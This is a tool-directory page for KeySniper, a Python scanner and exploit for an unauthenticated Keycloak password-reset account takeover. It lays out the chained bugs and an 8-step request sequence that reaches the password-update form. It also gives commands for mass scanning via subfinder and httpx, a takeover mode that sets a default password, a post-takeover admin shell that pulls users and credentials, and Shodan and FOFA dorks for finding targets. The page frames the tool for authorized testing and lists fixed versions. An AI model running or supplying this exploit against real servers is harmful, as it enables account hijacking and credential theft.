Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/ynsmroztas/keysniper
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationPenetration TestingAuthenticationRed Teaming
GitHubynsmroztas/keysniper

KeySniper

**CVE-2026-18963** — unauthenticated Keycloak account takeover via the reset-credentials flow.

View Repository
35h 14m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

KeySniper

KeySniper

Author: Mitsec — x.com/ynsmroztas

CVE-2026-18963 — unauthenticated Keycloak account takeover via the reset-credentials flow.

KeySniper is a production-oriented scanner for in-scope bug bounty and authorized assessments: live radar output, realm discovery, detect vs takeover, interactive post-ATO shell, and stdin pipeline (subfinder → httpx → KeySniper).

Default mode is detect (--takeover 0). --takeover 1 changes the account password on the target.


Vulnerability

FieldValue
CVECVE-2026-18963
CWECWE-640 — Weak Password Recovery Mechanism
CVSS9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
ProductKeycloak / Red Hat SSO
Fixed in26.7.2, 26.6.6, 26.4.15
AuthNone

Two bugs are chained:

  1. tryAnotherWay stores a generic "true" selector note that is not scoped to the execution ID.
  2. ResetCredentialEmail.action() calls context.success() without verifying ACTION_TOKEN_USER_ID.

Result: an unauthenticated caller can force the password-reset flow for a known username and land on UPDATE_PASSWORD without clicking the email link.

Confirm signal

The scan is not “forgot-password exists”. Confirm is:

  • selector form re-renders on the original reset URL
  • execution= UUID changes (email execution leaked)
  • response contains kc-passwd-update-form
root@kitploit:~
exec3 = 28e2cd30-…   (first selector)
exec6 = 8fd21174-…   (pivot GET)
         UPDATE_PASSWORD

Features

  • Live [radar] log (Location, JS, headers, realm probe)
  • Realm discovery: 302 Location + HTML/JS + well-known + wordlist
  • /auth prefix auto-detect
  • Pipeline: stdin URLs from httpx / subfinder
  • False-positive filter: Keycloak body required before realm brute
  • --takeover 0 detect only
  • --takeover 1 set password (default SelaM1337@@)
  • --shell interactive token / admin API helper after ATO
  • Color badges: VULN / ATO red, SAFE green, SKIP yellow

Install

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py

Python 3.9+.


Usage

root@kitploit:~
# detect (no password change)
python3 KeySniper.py -u https://sso.example.com --takeover 0

# takeover + interactive shell
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell

# realm / user
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0

# pipeline
subfinder -d example.com -silent \
  | httpx -silent -mc 200,302,401 \
  | python3 KeySniper.py --takeover 0 -t 4

# list file
python3 KeySniper.py -l urls.txt --takeover 0 -q

Flags

Do not pass --takeover 1 or --shell on a pipeline dump.


Flow (8 steps)

root@kitploit:~
[1] GET  /realms/{realm}/protocol/openid-connect/auth?client_id=account
         → forgot-password href (reset-credentials)
[2] GET  reset-credentials
         → kc-reset-password-form
[3] POST tryAnotherWay=on
         → kc-select-credential-form
[4] POST username=<user>
[5] GET  startSessionPolling / restart (if present)
[6] GET  original reset-credentials URL  (pivot)
         → selector re-render + new execution=
[7] POST stale selector (no action token)
         → kc-passwd-update-form
[8] POST password-new / password-confirm     (only if --takeover 1)
         → HTTP 302 + code=  ⇒ ATO

Output

root@kitploit:~
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
    confirm exec3=...
    confirm exec6=...
    confirm kc-passwd-update-form

[ATO]  https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open patched
[SKIP] https://www.example.com not-keycloak

leak-no-update is not counted as VULN.


Interactive shell

Opens only after [ATO] on a single target:

root@kitploit:~
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit

Uses resource-owner password grant (admin-cli, then account).
HTTP 403 on /admin/realms means Direct Access Grants / admin role is limited — ATO can still be valid.


Discovery

  1. Probe /realms/master then /auth/realms/master
  2. Harvest realms from Location, HTML, JS, "realm":, issuer
  3. Wordlist (~70 names) only after Keycloak fingerprint
  4. Keep realms where /realms/{name} returns 200 + Keycloak body

Fingerprints / recon

root@kitploit:~
/realms/master
/realms/master/.well-known/openid-configuration
/admin/

Shodan / FOFA (program scope):

root@kitploit:~
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
root@kitploit:~
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"

False positives

  • Any 200 on / is ignored unless the body has issuer / public_key / login-actions
  • Forgot-password missing → SKIP (realm has reset disabled)
  • Selector leak without kc-passwd-update-form → SKIP
  • httpx paths are stripped to origin (/auth kept)

Affected versions

Keycloak < 26.7.2 (also 26.6.x < 26.6.6, 26.4.x < 26.4.15).
Mitigation: disable Forgot Password on every realm, then upgrade.

Screenshot in this repo is redacted (sso.lab.local placeholder). Tokens, passwords, emails, and real hosts are not published.


Author

Mitsec
X: x.com/ynsmroztas


License

Research use on in-scope authorized targets. Keep --takeover 1 off unscoped hosts.

Download Tool
FlagDefaultMeaning
-u URL—Single target
-l FILE—URL list
stdinautohttpx lines (first field = URL)
--takeover 0|10Detect vs change password
-U USERadminTarget username
-r REALMautoForce realm or discover
--passSelaM1337@@New password if takeover=1
-t N4Pipeline threads
-qoffResults only
--shelloffPost-ATO shell (single target)
StatusMeaning
VULNPivot + UPDATE_PASSWORD (password not changed)
ATOStep 8 succeeded
SAFEReset open, no stale selector (patched)
SKIPNot Keycloak / reset disabled / leak without UPDATE form
FAILNetwork / unexpected exception